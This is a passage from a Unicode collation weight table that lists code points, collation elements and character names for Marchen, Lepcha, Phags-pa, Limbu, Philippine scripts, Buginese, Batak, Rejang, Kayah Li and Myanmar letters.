[.2E93.0020.0002] # MARCHEN SUBJOINED LETTER JA -11C79 ; [.2E94.0020.0002] # MARCHEN LETTER NYA -11C99 ; [.2E95.0020.0002] # MARCHEN SUBJOINED LETTER NYA -11C7A ; [.2E96.0020.0002] # MARCHEN LETTER TA -11C9A ; [.2E97.0020.0002] # MARCHEN SUBJOINED LETTER TA -11C7B ; [.2E98.0020.0002] # MARCHEN LETTER THA -11C9B ; [.2E99.0020.0002] # MARCHEN SUBJOINED LETTER THA -11C7C ; [.2E9A.0020.0002] # MARCHEN LETTER DA -11C9C ; [.2E9B.0020.0002] # MARCHEN SUBJOINED LETTER DA -11C7D ; [.2E9C.0020.0002] # MARCHEN LETTER NA -11C9D ; [.2E9D.0020.0002] # MARCHEN SUBJOINED LETTER NA -11C7E ; [.2E9E.0020.0002] # MARCHEN LETTER PA -11C9E ; [.2E9F.0020.0002] # MARCHEN SUBJOINED LETTER PA -11C7F ; [.2EA0.0020.0002] # MARCHEN LETTER PHA -11C9F ; [.2EA1.0020.0002] # MARCHEN SUBJOINED LETTER PHA -11C80 ; [.2EA2.0020.0002] # MARCHEN LETTER BA -11CA0 ; [.2EA3.0020.0002] # MARCHEN SUBJOINED LETTER BA -11C81 ; [.2EA4.0020.0002] # MARCHEN LETTER MA -11CA1 ; [.2EA5.0020.0002] # MARCHEN SUBJOINED LETTER MA -11C82 ; [.2EA6.0020.0002] # MARCHEN LETTER TSA -11CA2 ; [.2EA7.0020.0002] # MARCHEN SUBJOINED LETTER TSA -11C83 ; [.2EA8.0020.0002] # MARCHEN LETTER TSHA -11CA3 ; [.2EA9.0020.0002] # MARCHEN SUBJOINED LETTER TSHA -11C84 ; [.2EAA.0020.0002] # MARCHEN LETTER DZA -11CA4 ; [.2EAB.0020.0002] # MARCHEN SUBJOINED LETTER DZA -11C85 ; [.2EAC.0020.0002] # MARCHEN LETTER WA -11CA5 ; [.2EAD.0020.0002] # MARCHEN SUBJOINED LETTER WA -11C86 ; [.2EAE.0020.0002] # MARCHEN LETTER ZHA -11CA6 ; [.2EAF.0020.0002] # MARCHEN SUBJOINED LETTER ZHA -11C87 ; [.2EB0.0020.0002] # MARCHEN LETTER ZA -11CA7 ; [.2EB1.0020.0002] # MARCHEN SUBJOINED LETTER ZA -11C88 ; [.2EB2.0020.0002] # MARCHEN LETTER -A -11C89 ; [.2EB3.0020.0002] # MARCHEN LETTER YA -11CA9 ; [.2EB4.0020.0002] # MARCHEN SUBJOINED LETTER YA -11C8A ; [.2EB5.0020.0002] # MARCHEN LETTER RA -11CAA ; [.2EB6.0020.0002] # MARCHEN SUBJOINED LETTER RA -11C8B ; [.2EB7.0020.0002] # MARCHEN LETTER LA -11CAB ; [.2EB8.0020.0002] # MARCHEN SUBJOINED LETTER LA -11C8C ; [.2EB9.0020.0002] # MARCHEN LETTER SHA -11CAC ; [.2EBA.0020.0002] # MARCHEN SUBJOINED LETTER SHA -11C8D ; [.2EBB.0020.0002] # MARCHEN LETTER SA -11CAD ; [.2EBC.0020.0002] # MARCHEN SUBJOINED LETTER SA -11C8E ; [.2EBD.0020.0002] # MARCHEN LETTER HA -11CAE ; [.2EBE.0020.0002] # MARCHEN SUBJOINED LETTER HA -11C8F ; [.2EBF.0020.0002] # MARCHEN LETTER A -11CAF ; [.2EC0.0020.0002] # MARCHEN SUBJOINED LETTER A -11CB0 ; [.2EC1.0020.0002] # MARCHEN VOWEL SIGN AA -11CB1 ; [.2EC2.0020.0002] # MARCHEN VOWEL SIGN I -11CB2 ; [.2EC3.0020.0002] # MARCHEN VOWEL SIGN U -11CB3 ; [.2EC4.0020.0002] # MARCHEN VOWEL SIGN E -11CB4 ; [.2EC5.0020.0002] # MARCHEN VOWEL SIGN O -1C00 ; [.2EC6.0020.0002] # LEPCHA LETTER KA -1C01 ; [.2EC7.0020.0002] # LEPCHA LETTER KLA -1C02 ; [.2EC8.0020.0002] # LEPCHA LETTER KHA -1C03 ; [.2EC9.0020.0002] # LEPCHA LETTER GA -1C04 ; [.2ECA.0020.0002] # LEPCHA LETTER GLA -1C05 ; [.2ECB.0020.0002] # LEPCHA LETTER NGA -1C06 ; [.2ECC.0020.0002] # LEPCHA LETTER CA -1C07 ; [.2ECD.0020.0002] # LEPCHA LETTER CHA -1C08 ; [.2ECE.0020.0002] # LEPCHA LETTER JA -1C09 ; [.2ECF.0020.0002] # LEPCHA LETTER NYA -1C4D ; [.2ED0.0020.0002] # LEPCHA LETTER TTA -1C4E ; [.2ED1.0020.0002] # LEPCHA LETTER TTHA -1C4F ; [.2ED2.0020.0002] # LEPCHA LETTER DDA -1C0A ; [.2ED3.0020.0002] # LEPCHA LETTER TA -1C0B ; [.2ED4.0020.0002] # LEPCHA LETTER THA -1C0C ; [.2ED5.0020.0002] # LEPCHA LETTER DA -1C0D ; [.2ED6.0020.0002] # LEPCHA LETTER NA -1C0E ; [.2ED7.0020.0002] # LEPCHA LETTER PA -1C0F ; [.2ED8.0020.0002] # LEPCHA LETTER PLA -1C10 ; [.2ED9.0020.0002] # LEPCHA LETTER PHA -1C11 ; [.2EDA.0020.0002] # LEPCHA LETTER FA -1C12 ; [.2EDB.0020.0002] # LEPCHA LETTER FLA -1C13 ; [.2EDC.0020.0002] # LEPCHA LETTER BA -1C14 ; [.2EDD.0020.0002] # LEPCHA LETTER BLA -1C15 ; [.2EDE.0020.0002] # LEPCHA LETTER MA -1C16 ; [.2EDF.0020.0002] # LEPCHA LETTER MLA -1C17 ; [.2EE0.0020.0002] # LEPCHA LETTER TSA -1C18 ; [.2EE1.0020.0002] # LEPCHA LETTER TSHA -1C19 ; [.2EE2.0020.0002] # LEPCHA LETTER DZA -1C1A ; [.2EE3.0020.0002] # LEPCHA LETTER YA -1C24 ; [.2EE4.0020.0002] # LEPCHA SUBJOINED LETTER YA -1C1B ; [.2EE5.0020.0002] # LEPCHA LETTER RA -1C25 ; [.2EE6.0020.0002] # LEPCHA SUBJOINED LETTER RA -1C1C ; [.2EE7.0020.0002] # LEPCHA LETTER LA -1C1D ; [.2EE8.0020.0002] # LEPCHA LETTER HA -1C1E ; [.2EE9.0020.0002] # LEPCHA LETTER HLA -1C1F ; [.2EEA.0020.0002] # LEPCHA LETTER VA -1C20 ; [.2EEB.0020.0002] # LEPCHA LETTER SA -1C21 ; [.2EEC.0020.0002] # LEPCHA LETTER SHA -1C22 ; [.2EED.0020.0002] # LEPCHA LETTER WA -1C23 ; [.2EEE.0020.0002] # LEPCHA LETTER A -1C36 ; [.2EEF.0020.0002] # LEPCHA SIGN RAN -1C26 ; [.2EF0.0020.0002] # LEPCHA VOWEL SIGN AA -1C27 ; [.2EF1.0020.0002] # LEPCHA VOWEL SIGN I -1C28 ; [.2EF2.0020.0002] # LEPCHA VOWEL SIGN O -1C29 ; [.2EF3.0020.0002] # LEPCHA VOWEL SIGN OO -1C2A ; [.2EF4.0020.0002] # LEPCHA VOWEL SIGN U -1C2B ; [.2EF5.0020.0002] # LEPCHA VOWEL SIGN UU -1C2C ; [.2EF6.0020.0002] # LEPCHA VOWEL SIGN E -1C2D ; [.2EF7.0020.0002] # LEPCHA CONSONANT SIGN K -1C2E ; [.2EF8.0020.0002] # LEPCHA CONSONANT SIGN M -1C2F ; [.2EF9.0020.0002] # LEPCHA CONSONANT SIGN L -1C30 ; [.2EFA.0020.0002] # LEPCHA CONSONANT SIGN N -1C31 ; [.2EFB.0020.0002] # LEPCHA CONSONANT SIGN P -1C32 ; [.2EFC.0020.0002] # LEPCHA CONSONANT SIGN R -1C33 ; [.2EFD.0020.0002] # LEPCHA CONSONANT SIGN T -1C34 ; [.2EFE.0020.0002] # LEPCHA CONSONANT SIGN NYIN-DO -1C35 ; [.2EFF.0020.0002] # LEPCHA CONSONANT SIGN KANG -A840 ; [.2F00.0020.0002] # PHAGS-PA LETTER KA -A841 ; [.2F01.0020.0002] # PHAGS-PA LETTER KHA -A842 ; [.2F02.0020.0002] # PHAGS-PA LETTER GA -A843 ; [.2F03.0020.0002] # PHAGS-PA LETTER NGA -A844 ; [.2F04.0020.0002] # PHAGS-PA LETTER CA -A845 ; [.2F05.0020.0002] # PHAGS-PA LETTER CHA -A846 ; [.2F06.0020.0002] # PHAGS-PA LETTER JA -A847 ; [.2F07.0020.0002] # PHAGS-PA LETTER NYA -A869 ; [.2F08.0020.0002] # PHAGS-PA LETTER TTA -A86A ; [.2F09.0020.0002] # PHAGS-PA LETTER TTHA -A86B ; [.2F0A.0020.0002] # PHAGS-PA LETTER DDA -A86C ; [.2F0B.0020.0002] # PHAGS-PA LETTER NNA -A848 ; [.2F0C.0020.0002] # PHAGS-PA LETTER TA -A849 ; [.2F0D.0020.0002] # PHAGS-PA LETTER THA -A84A ; [.2F0E.0020.0002] # PHAGS-PA LETTER DA -A84B ; [.2F0F.0020.0002] # PHAGS-PA LETTER NA -A84C ; [.2F10.0020.0002] # PHAGS-PA LETTER PA -A84D ; [.2F11.0020.0002] # PHAGS-PA LETTER PHA -A84E ; [.2F12.0020.0002] # PHAGS-PA LETTER BA -A84F ; [.2F13.0020.0002] # PHAGS-PA LETTER MA -A850 ; [.2F14.0020.0002] # PHAGS-PA LETTER TSA -A851 ; [.2F15.0020.0002] # PHAGS-PA LETTER TSHA -A852 ; [.2F16.0020.0002] # PHAGS-PA LETTER DZA -A853 ; [.2F17.0020.0002] # PHAGS-PA LETTER WA -A867 ; [.2F18.0020.0002] # PHAGS-PA SUBJOINED LETTER WA -A854 ; [.2F19.0020.0002] # PHAGS-PA LETTER ZHA -A855 ; [.2F1A.0020.0002] # PHAGS-PA LETTER ZA -A856 ; [.2F1B.0020.0002] # PHAGS-PA LETTER SMALL A -A857 ; [.2F1C.0020.0002] # PHAGS-PA LETTER YA -A868 ; [.2F1D.0020.0002] # PHAGS-PA SUBJOINED LETTER YA -A86D ; [.2F1E.0020.0002] # PHAGS-PA LETTER ALTERNATE YA -A858 ; [.2F1F.0020.0002] # PHAGS-PA LETTER RA -A871 ; [.2F20.0020.0002] # PHAGS-PA SUBJOINED LETTER RA -A872 ; [.2F21.0020.0002] # PHAGS-PA SUPERFIXED LETTER RA -A859 ; [.2F22.0020.0002] # PHAGS-PA LETTER LA -A85A ; [.2F23.0020.0002] # PHAGS-PA LETTER SHA -A86E ; [.2F24.0020.0002] # PHAGS-PA LETTER VOICELESS SHA -A85B ; [.2F25.0020.0002] # PHAGS-PA LETTER SA -A85C ; [.2F26.0020.0002] # PHAGS-PA LETTER HA -A86F ; [.2F27.0020.0002] # PHAGS-PA LETTER VOICED HA -A870 ; [.2F28.0020.0002] # PHAGS-PA LETTER ASPIRATED FA -A85D ; [.2F29.0020.0002] # PHAGS-PA LETTER A -A862 ; [.2F2A.0020.0002] # PHAGS-PA LETTER QA -A863 ; [.2F2B.0020.0002] # PHAGS-PA LETTER XA -A864 ; [.2F2C.0020.0002] # PHAGS-PA LETTER FA -A865 ; [.2F2D.0020.0002] # PHAGS-PA LETTER GGA -A85E ; [.2F2E.0020.0002] # PHAGS-PA LETTER I -A85F ; [.2F2F.0020.0002] # PHAGS-PA LETTER U -A860 ; [.2F30.0020.0002] # PHAGS-PA LETTER E -A861 ; [.2F31.0020.0002] # PHAGS-PA LETTER O -A866 ; [.2F32.0020.0002] # PHAGS-PA LETTER EE -A873 ; [.2F33.0020.0002] # PHAGS-PA LETTER CANDRABINDU -1900 ; [.2F34.0020.0002] # LIMBU VOWEL-CARRIER LETTER -1901 ; [.2F35.0020.0002] # LIMBU LETTER KA -1902 ; [.2F36.0020.0002] # LIMBU LETTER KHA -1903 ; [.2F37.0020.0002] # LIMBU LETTER GA -1904 ; [.2F38.0020.0002] # LIMBU LETTER GHA -1905 ; [.2F39.0020.0002] # LIMBU LETTER NGA -1906 ; [.2F3A.0020.0002] # LIMBU LETTER CA -1907 ; [.2F3B.0020.0002] # LIMBU LETTER CHA -1908 ; [.2F3C.0020.0002] # LIMBU LETTER JA -191D ; [.2F3C.0020.0004][.2F5A.0020.0004] # LIMBU LETTER GYAN -1909 ; [.2F3D.0020.0002] # LIMBU LETTER JHA -190A ; [.2F3E.0020.0002] # LIMBU LETTER YAN -190B ; [.2F3F.0020.0002] # LIMBU LETTER TA -191E ; [.2F3F.0020.0004][.2F5B.0020.0004] # LIMBU LETTER TRA -190C ; [.2F40.0020.0002] # LIMBU LETTER THA -190D ; [.2F41.0020.0002] # LIMBU LETTER DA -190E ; [.2F42.0020.0002] # LIMBU LETTER DHA -190F ; [.2F43.0020.0002] # LIMBU LETTER NA -1910 ; [.2F44.0020.0002] # LIMBU LETTER PA -1911 ; [.2F45.0020.0002] # LIMBU LETTER PHA -1912 ; [.2F46.0020.0002] # LIMBU LETTER BA -1913 ; [.2F47.0020.0002] # LIMBU LETTER BHA -1914 ; [.2F48.0020.0002] # LIMBU LETTER MA -1915 ; [.2F49.0020.0002] # LIMBU LETTER YA -1916 ; [.2F4A.0020.0002] # LIMBU LETTER RA -1917 ; [.2F4B.0020.0002] # LIMBU LETTER LA -1918 ; [.2F4C.0020.0002] # LIMBU LETTER WA -1919 ; [.2F4D.0020.0002] # LIMBU LETTER SHA -191A ; [.2F4E.0020.0002] # LIMBU LETTER SSA -191B ; [.2F4F.0020.0002] # LIMBU LETTER SA -191C ; [.2F50.0020.0002] # LIMBU LETTER HA -1920 ; [.2F51.0020.0002] # LIMBU VOWEL SIGN A -1921 ; [.2F52.0020.0002] # LIMBU VOWEL SIGN I -1922 ; [.2F53.0020.0002] # LIMBU VOWEL SIGN U -1923 ; [.2F54.0020.0002] # LIMBU VOWEL SIGN EE -1924 ; [.2F55.0020.0002] # LIMBU VOWEL SIGN AI -1925 ; [.2F56.0020.0002] # LIMBU VOWEL SIGN OO -1926 ; [.2F57.0020.0002] # LIMBU VOWEL SIGN AU -1927 ; [.2F58.0020.0002] # LIMBU VOWEL SIGN E -1928 ; [.2F59.0020.0002] # LIMBU VOWEL SIGN O -1929 ; [.2F5A.0020.0002] # LIMBU SUBJOINED LETTER YA -192A ; [.2F5B.0020.0002] # LIMBU SUBJOINED LETTER RA -192B ; [.2F5C.0020.0002] # LIMBU SUBJOINED LETTER WA -1930 ; [.2F5D.0020.0002] # LIMBU SMALL LETTER KA -1931 ; [.2F5E.0020.0002] # LIMBU SMALL LETTER NGA -1932 ; [.2F5F.0020.0002] # LIMBU SMALL LETTER ANUSVARA -1933 ; [.2F60.0020.0002] # LIMBU SMALL LETTER TA -1934 ; [.2F61.0020.0002] # LIMBU SMALL LETTER NA -1935 ; [.2F62.0020.0002] # LIMBU SMALL LETTER PA -1936 ; [.2F63.0020.0002] # LIMBU SMALL LETTER MA -1937 ; [.2F64.0020.0002] # LIMBU SMALL LETTER RA -1938 ; [.2F65.0020.0002] # LIMBU SMALL LETTER LA -1700 ; [.2F66.0020.0002] # TAGALOG LETTER A -1701 ; [.2F67.0020.0002] # TAGALOG LETTER I -1702 ; [.2F68.0020.0002] # TAGALOG LETTER U -1703 ; [.2F69.0020.0002] # TAGALOG LETTER KA -1704 ; [.2F6A.0020.0002] # TAGALOG LETTER GA -1705 ; [.2F6B.0020.0002] # TAGALOG LETTER NGA -1706 ; [.2F6C.0020.0002] # TAGALOG LETTER TA -1707 ; [.2F6D.0020.0002] # TAGALOG LETTER DA -1708 ; [.2F6E.0020.0002] # TAGALOG LETTER NA -1709 ; [.2F6F.0020.0002] # TAGALOG LETTER PA -170A ; [.2F70.0020.0002] # TAGALOG LETTER BA -170B ; [.2F71.0020.0002] # TAGALOG LETTER MA -170C ; [.2F72.0020.0002] # TAGALOG LETTER YA -170E ; [.2F73.0020.0002] # TAGALOG LETTER LA -170F ; [.2F74.0020.0002] # TAGALOG LETTER WA -1710 ; [.2F75.0020.0002] # TAGALOG LETTER SA -1711 ; [.2F76.0020.0002] # TAGALOG LETTER HA -1712 ; [.2F77.0020.0002] # TAGALOG VOWEL SIGN I -1713 ; [.2F78.0020.0002] # TAGALOG VOWEL SIGN U -1714 ; [.2F79.0020.0002] # TAGALOG SIGN VIRAMA -1720 ; [.2F7A.0020.0002] # HANUNOO LETTER A -1721 ; [.2F7B.0020.0002] # HANUNOO LETTER I -1722 ; [.2F7C.0020.0002] # HANUNOO LETTER U -1723 ; [.2F7D.0020.0002] # HANUNOO LETTER KA -1724 ; [.2F7E.0020.0002] # HANUNOO LETTER GA -1725 ; [.2F7F.0020.0002] # HANUNOO LETTER NGA -1726 ; [.2F80.0020.0002] # HANUNOO LETTER TA -1727 ; [.2F81.0020.0002] # HANUNOO LETTER DA -1728 ; [.2F82.0020.0002] # HANUNOO LETTER NA -1729 ; [.2F83.0020.0002] # HANUNOO LETTER PA -172A ; [.2F84.0020.0002] # HANUNOO LETTER BA -172B ; [.2F85.0020.0002] # HANUNOO LETTER MA -172C ; [.2F86.0020.0002] # HANUNOO LETTER YA -172D ; [.2F87.0020.0002] # HANUNOO LETTER RA -172E ; [.2F88.0020.0002] # HANUNOO LETTER LA -172F ; [.2F89.0020.0002] # HANUNOO LETTER WA -1730 ; [.2F8A.0020.0002] # HANUNOO LETTER SA -1731 ; [.2F8B.0020.0002] # HANUNOO LETTER HA -1732 ; [.2F8C.0020.0002] # HANUNOO VOWEL SIGN I -1733 ; [.2F8D.0020.0002] # HANUNOO VOWEL SIGN U -1734 ; [.2F8E.0020.0002] # HANUNOO SIGN PAMUDPOD -1740 ; [.2F8F.0020.0002] # BUHID LETTER A -1741 ; [.2F90.0020.0002] # BUHID LETTER I -1742 ; [.2F91.0020.0002] # BUHID LETTER U -1743 ; [.2F92.0020.0002] # BUHID LETTER KA -1744 ; [.2F93.0020.0002] # BUHID LETTER GA -1745 ; [.2F94.0020.0002] # BUHID LETTER NGA -1746 ; [.2F95.0020.0002] # BUHID LETTER TA -1747 ; [.2F96.0020.0002] # BUHID LETTER DA -1748 ; [.2F97.0020.0002] # BUHID LETTER NA -1749 ; [.2F98.0020.0002] # BUHID LETTER PA -174A ; [.2F99.0020.0002] # BUHID LETTER BA -174B ; [.2F9A.0020.0002] # BUHID LETTER MA -174C ; [.2F9B.0020.0002] # BUHID LETTER YA -174D ; [.2F9C.0020.0002] # BUHID LETTER RA -174E ; [.2F9D.0020.0002] # BUHID LETTER LA -174F ; [.2F9E.0020.0002] # BUHID LETTER WA -1750 ; [.2F9F.0020.0002] # BUHID LETTER SA -1751 ; [.2FA0.0020.0002] # BUHID LETTER HA -1752 ; [.2FA1.0020.0002] # BUHID VOWEL SIGN I -1753 ; [.2FA2.0020.0002] # BUHID VOWEL SIGN U -1760 ; [.2FA3.0020.0002] # TAGBANWA LETTER A -1761 ; [.2FA4.0020.0002] # TAGBANWA LETTER I -1762 ; [.2FA5.0020.0002] # TAGBANWA LETTER U -1763 ; [.2FA6.0020.0002] # TAGBANWA LETTER KA -1764 ; [.2FA7.0020.0002] # TAGBANWA LETTER GA -1765 ; [.2FA8.0020.0002] # TAGBANWA LETTER NGA -1766 ; [.2FA9.0020.0002] # TAGBANWA LETTER TA -1767 ; [.2FAA.0020.0002] # TAGBANWA LETTER DA -1768 ; [.2FAB.0020.0002] # TAGBANWA LETTER NA -1769 ; [.2FAC.0020.0002] # TAGBANWA LETTER PA -176A ; [.2FAD.0020.0002] # TAGBANWA LETTER BA -176B ; [.2FAE.0020.0002] # TAGBANWA LETTER MA -176C ; [.2FAF.0020.0002] # TAGBANWA LETTER YA -176E ; [.2FB0.0020.0002] # TAGBANWA LETTER LA -176F ; [.2FB1.0020.0002] # TAGBANWA LETTER WA -1770 ; [.2FB2.0020.0002] # TAGBANWA LETTER SA -1772 ; [.2FB3.0020.0002] # TAGBANWA VOWEL SIGN I -1773 ; [.2FB4.0020.0002] # TAGBANWA VOWEL SIGN U -1A00 ; [.2FB5.0020.0002] # BUGINESE LETTER KA -1A01 ; [.2FB6.0020.0002] # BUGINESE LETTER GA -1A02 ; [.2FB7.0020.0002] # BUGINESE LETTER NGA -1A03 ; [.2FB8.0020.0002] # BUGINESE LETTER NGKA -1A04 ; [.2FB9.0020.0002] # BUGINESE LETTER PA -1A05 ; [.2FBA.0020.0002] # BUGINESE LETTER BA -1A06 ; [.2FBB.0020.0002] # BUGINESE LETTER MA -1A07 ; [.2FBC.0020.0002] # BUGINESE LETTER MPA -1A08 ; [.2FBD.0020.0002] # BUGINESE LETTER TA -1A09 ; [.2FBE.0020.0002] # BUGINESE LETTER DA -1A0A ; [.2FBF.0020.0002] # BUGINESE LETTER NA -1A0B ; [.2FC0.0020.0002] # BUGINESE LETTER NRA -1A0C ; [.2FC1.0020.0002] # BUGINESE LETTER CA -1A0D ; [.2FC2.0020.0002] # BUGINESE LETTER JA -1A0E ; [.2FC3.0020.0002] # BUGINESE LETTER NYA -1A0F ; [.2FC4.0020.0002] # BUGINESE LETTER NYCA -1A10 ; [.2FC5.0020.0002] # BUGINESE LETTER YA -1A11 ; [.2FC6.0020.0002] # BUGINESE LETTER RA -1A12 ; [.2FC7.0020.0002] # BUGINESE LETTER LA -1A13 ; [.2FC8.0020.0002] # BUGINESE LETTER VA -1A14 ; [.2FC9.0020.0002] # BUGINESE LETTER SA -1A15 ; [.2FCA.0020.0002] # BUGINESE LETTER A -1A16 ; [.2FCB.0020.0002] # BUGINESE LETTER HA -1A17 ; [.2FCC.0020.0002] # BUGINESE VOWEL SIGN I -1A18 ; [.2FCD.0020.0002] # BUGINESE VOWEL SIGN U -1A19 ; [.2FCE.0020.0002] # BUGINESE VOWEL SIGN E -1A1A ; [.2FCF.0020.0002] # BUGINESE VOWEL SIGN O -1A1B ; [.2FD0.0020.0002] # BUGINESE VOWEL SIGN AE -1BC0 ; [.2FD1.0020.0002] # BATAK LETTER A -1BC1 ; [.2FD1.0020.0004] # BATAK LETTER SIMALUNGUN A -1BC2 ; [.2FD2.0020.0002] # BATAK LETTER HA -1BC3 ; [.2FD2.0020.0004] # BATAK LETTER SIMALUNGUN HA -1BC4 ; [.2FD2.0020.0004] # BATAK LETTER MANDAILING HA -1BC5 ; [.2FD3.0020.0002] # BATAK LETTER BA -1BC6 ; [.2FD3.0020.0004] # BATAK LETTER KARO BA -1BC7 ; [.2FD4.0020.0002] # BATAK LETTER PA -1BC8 ; [.2FD4.0020.0004] # BATAK LETTER SIMALUNGUN PA -1BC9 ; [.2FD5.0020.0002] # BATAK LETTER NA -1BCA ; [.2FD5.0020.0004] # BATAK LETTER MANDAILING NA -1BCB ; [.2FD6.0020.0002] # BATAK LETTER WA -1BCC ; [.2FD6.0020.0004] # BATAK LETTER SIMALUNGUN WA -1BCD ; [.2FD6.0020.0004] # BATAK LETTER PAKPAK WA -1BCE ; [.2FD7.0020.0002] # BATAK LETTER GA -1BCF ; [.2FD7.0020.0004] # BATAK LETTER SIMALUNGUN GA -1BD0 ; [.2FD8.0020.0002] # BATAK LETTER JA -1BD1 ; [.2FD9.0020.0002] # BATAK LETTER DA -1BD2 ; [.2FDA.0020.0002] # BATAK LETTER RA -1BD3 ; [.2FDA.0020.0004] # BATAK LETTER SIMALUNGUN RA -1BD4 ; [.2FDB.0020.0002] # BATAK LETTER MA -1BD5 ; [.2FDB.0020.0004] # BATAK LETTER SIMALUNGUN MA -1BD6 ; [.2FDC.0020.0002] # BATAK LETTER SOUTHERN TA -1BD7 ; [.2FDC.0020.0004] # BATAK LETTER NORTHERN TA -1BD8 ; [.2FDD.0020.0002] # BATAK LETTER SA -1BD9 ; [.2FDD.0020.0004] # BATAK LETTER SIMALUNGUN SA -1BDA ; [.2FDD.0020.0004] # BATAK LETTER MANDAILING SA -1BDB ; [.2FDE.0020.0002] # BATAK LETTER YA -1BDC ; [.2FDE.0020.0004] # BATAK LETTER SIMALUNGUN YA -1BDD ; [.2FDF.0020.0002] # BATAK LETTER NGA -1BDE ; [.2FE0.0020.0002] # BATAK LETTER LA -1BDF ; [.2FE0.0020.0004] # BATAK LETTER SIMALUNGUN LA -1BE0 ; [.2FE1.0020.0002] # BATAK LETTER NYA -1BE1 ; [.2FE2.0020.0002] # BATAK LETTER CA -1BE2 ; [.2FE3.0020.0002] # BATAK LETTER NDA -1BE3 ; [.2FE4.0020.0002] # BATAK LETTER MBA -1BE4 ; [.2FE5.0020.0002] # BATAK LETTER I -1BE5 ; [.2FE6.0020.0002] # BATAK LETTER U -1BE7 ; [.2FE7.0020.0002] # BATAK VOWEL SIGN E -1BE8 ; [.2FE7.0020.0004] # BATAK VOWEL SIGN PAKPAK E -1BE9 ; [.2FE8.0020.0002] # BATAK VOWEL SIGN EE -1BEA ; [.2FE9.0020.0002] # BATAK VOWEL SIGN I -1BEB ; [.2FE9.0020.0004] # BATAK VOWEL SIGN KARO I -1BEC ; [.2FEA.0020.0002] # BATAK VOWEL SIGN O -1BED ; [.2FEA.0020.0004] # BATAK VOWEL SIGN KARO O -1BEE ; [.2FEB.0020.0002] # BATAK VOWEL SIGN U -1BEF ; [.2FEB.0020.0004] # BATAK VOWEL SIGN U FOR SIMALUNGUN SA -1BF0 ; [.2FEC.0020.0002] # BATAK CONSONANT SIGN NG -1BF1 ; [.2FED.0020.0002] # BATAK CONSONANT SIGN H -1BF2 ; [.2FEE.0020.0002] # BATAK PANGOLAT -1BF3 ; [.2FEF.0020.0002] # BATAK PANONGONAN -A930 ; [.2FF0.0020.0002] # REJANG LETTER KA -A931 ; [.2FF1.0020.0002] # REJANG LETTER GA -A932 ; [.2FF2.0020.0002] # REJANG LETTER NGA -A933 ; [.2FF3.0020.0002] # REJANG LETTER TA -A934 ; [.2FF4.0020.0002] # REJANG LETTER DA -A935 ; [.2FF5.0020.0002] # REJANG LETTER NA -A936 ; [.2FF6.0020.0002] # REJANG LETTER PA -A937 ; [.2FF7.0020.0002] # REJANG LETTER BA -A938 ; [.2FF8.0020.0002] # REJANG LETTER MA -A939 ; [.2FF9.0020.0002] # REJANG LETTER CA -A93A ; [.2FFA.0020.0002] # REJANG LETTER JA -A93B ; [.2FFB.0020.0002] # REJANG LETTER NYA -A93C ; [.2FFC.0020.0002] # REJANG LETTER SA -A93D ; [.2FFD.0020.0002] # REJANG LETTER RA -A93E ; [.2FFE.0020.0002] # REJANG LETTER LA -A93F ; [.2FFF.0020.0002] # REJANG LETTER YA -A940 ; [.3000.0020.0002] # REJANG LETTER WA -A941 ; [.3001.0020.0002] # REJANG LETTER HA -A942 ; [.3002.0020.0002] # REJANG LETTER MBA -A943 ; [.3003.0020.0002] # REJANG LETTER NGGA -A944 ; [.3004.0020.0002] # REJANG LETTER NDA -A945 ; [.3005.0020.0002] # REJANG LETTER NYJA -A946 ; [.3006.0020.0002] # REJANG LETTER A -A947 ; [.3007.0020.0002] # REJANG VOWEL SIGN I -A948 ; [.3008.0020.0002] # REJANG VOWEL SIGN U -A949 ; [.3009.0020.0002] # REJANG VOWEL SIGN E -A94A ; [.300A.0020.0002] # REJANG VOWEL SIGN AI -A94B ; [.300B.0020.0002] # REJANG VOWEL SIGN O -A94C ; [.300C.0020.0002] # REJANG VOWEL SIGN AU -A94D ; [.300D.0020.0002] # REJANG VOWEL SIGN EU -A94E ; [.300E.0020.0002] # REJANG VOWEL SIGN EA -A94F ; [.300F.0020.0002] # REJANG CONSONANT SIGN NG -A950 ; [.3010.0020.0002] # REJANG CONSONANT SIGN N -A951 ; [.3011.0020.0002] # REJANG CONSONANT SIGN R -A952 ; [.3012.0020.0002] # REJANG CONSONANT SIGN H -A953 ; [.3013.0020.0002] # REJANG VIRAMA -A90A ; [.3014.0020.0002] # KAYAH LI LETTER KA -A90B ; [.3015.0020.0002] # KAYAH LI LETTER KHA -A90C ; [.3016.0020.0002] # KAYAH LI LETTER GA -A90D ; [.3017.0020.0002] # KAYAH LI LETTER NGA -A90E ; [.3018.0020.0002] # KAYAH LI LETTER SA -A90F ; [.3019.0020.0002] # KAYAH LI LETTER SHA -A910 ; [.301A.0020.0002] # KAYAH LI LETTER ZA -A911 ; [.301B.0020.0002] # KAYAH LI LETTER NYA -A912 ; [.301C.0020.0002] # KAYAH LI LETTER TA -A913 ; [.301D.0020.0002] # KAYAH LI LETTER HTA -A914 ; [.301E.0020.0002] # KAYAH LI LETTER NA -A915 ; [.301F.0020.0002] # KAYAH LI LETTER PA -A916 ; [.3020.0020.0002] # KAYAH LI LETTER PHA -A917 ; [.3021.0020.0002] # KAYAH LI LETTER MA -A918 ; [.3022.0020.0002] # KAYAH LI LETTER DA -A919 ; [.3023.0020.0002] # KAYAH LI LETTER BA -A91A ; [.3024.0020.0002] # KAYAH LI LETTER RA -A91B ; [.3025.0020.0002] # KAYAH LI LETTER YA -A91C ; [.3026.0020.0002] # KAYAH LI LETTER LA -A91D ; [.3027.0020.0002] # KAYAH LI LETTER WA -A91E ; [.3028.0020.0002] # KAYAH LI LETTER THA -A91F ; [.3029.0020.0002] # KAYAH LI LETTER HA -A920 ; [.302A.0020.0002] # KAYAH LI LETTER VA -A921 ; [.302B.0020.0002] # KAYAH LI LETTER CA -A922 ; [.302C.0020.0002] # KAYAH LI LETTER A -A923 ; [.302D.0020.0002] # KAYAH LI LETTER OE -A924 ; [.302E.0020.0002] # KAYAH LI LETTER I -A925 ; [.302F.0020.0002] # KAYAH LI LETTER OO -A926 ; [.3030.0020.0002] # KAYAH LI VOWEL UE -A927 ; [.3031.0020.0002] # KAYAH LI VOWEL E -A928 ; [.3032.0020.0002] # KAYAH LI VOWEL U -A929 ; [.3033.0020.0002] # KAYAH LI VOWEL EE -A92A ; [.3034.0020.0002] # KAYAH LI VOWEL O -1000 ; [.3035.0020.0002] # MYANMAR LETTER KA -1075 ; [.3036.0020.0002] # MYANMAR LETTER SHAN KA -1001 ; [.3037.0020.0002] # MYANMAR LETTER KHA -1076 ; [.3038.0020.0002] # MYANMAR LETTER SHAN KHA -1002 ; [.3039.0020.0002] # MYANMAR LETTER GA -1077 ; 